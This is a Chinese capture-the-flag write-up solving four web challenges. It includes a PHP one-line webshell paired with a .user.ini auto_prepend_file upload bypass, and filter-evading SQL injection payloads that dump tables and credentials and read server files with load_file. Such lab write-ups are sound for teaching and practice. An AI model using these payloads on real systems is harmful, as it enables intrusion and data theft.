目录
web11
web12
web13
web14
web11
其他不重要,直接看代码。
<?php
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
if($password==$_SESSION['password']){
echo $flag;
}else{
echo "error";
}
?>
很明显,判断password是否等于session,等于则显示flag,这里判断的是本地session,所以直接f12
将session值修改为空,然后登陆,得到flag。
web12
右键查看源代码,
提示?cmd=,猜测是命令执行,所以直接尝试读取index.php源码。
然后读取使用glob读取文件名。
接着读取另一个php文件就行了。
web13
初见以为是文件上传漏洞,
但是各种尝试都提示我说error file size,所以换个思路,猜测会不会有源码泄露,结果upload.php存在备份文件upload.php.bak
<?php
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}
?>
这里把php给过滤了,所以得换个思路,这里我们可以上传.user.ini文件来进行绕过。
.user.ini就是PHP 支持基于每个目录的 INI 文件配置。此类文件 仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。
先上传上传一个txt文件,其中包含一句话木马<?php eval($_GET['a']);
然后再上传.user.ini,其中写入auto_prepend_file=1.txt,这样就可以成功执行文件包含。
我们所传的木马已经被包含进了该页面,直接传参就可以了(在这里卡了好久,看了大佬的wp才明白的)
payload:?a=print_r(glob("*"))
web14
进入题目就是一串代码
<?php
include("secret.php");
if(isset($_GET['c'])){
$c = intval($_GET['c']);
sleep($c);
switch ($c) {
case 1:
echo '$url';
break;
case 2:
echo '@A@';
break;
case 555555:
echo $url;
case 44444:
echo "@A@";
break;
case 3333:
echo $url;
break;
case 222:
echo '@A@';
break;
case 222:
echo '@A@';
break;
case 3333:
echo $url;
break;
case 44444:
echo '@A@';
case 555555:
echo $url;
break;
case 3:
echo '@A@';
case 6000000:
echo "$url";
case 1:
echo '@A@';
break;
}
}
highlight_file(__FILE__);
当传参为3时,
有提示,进去康康,
很明显的sql注入,源代码中还给了提示,
过滤了空格,information_schema.tables,information_schema.columns,
但是都可以绕过,空格可以用/**/代替,后面两个直接在tables和columns加反引号即可。而且这道题不需要闭合,直接注就完事儿了。
爆库:-1/**/union/**/select/**/database()#
爆表:-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema='web'#
爆字段:-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'#
查看数据:-1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content#
然而显示这个
直接看文件 -1/**/union/**/select/**/load_file('/var/www/html/secret.php')
没变化,但是源代码多了些东西
读取文件就行啦。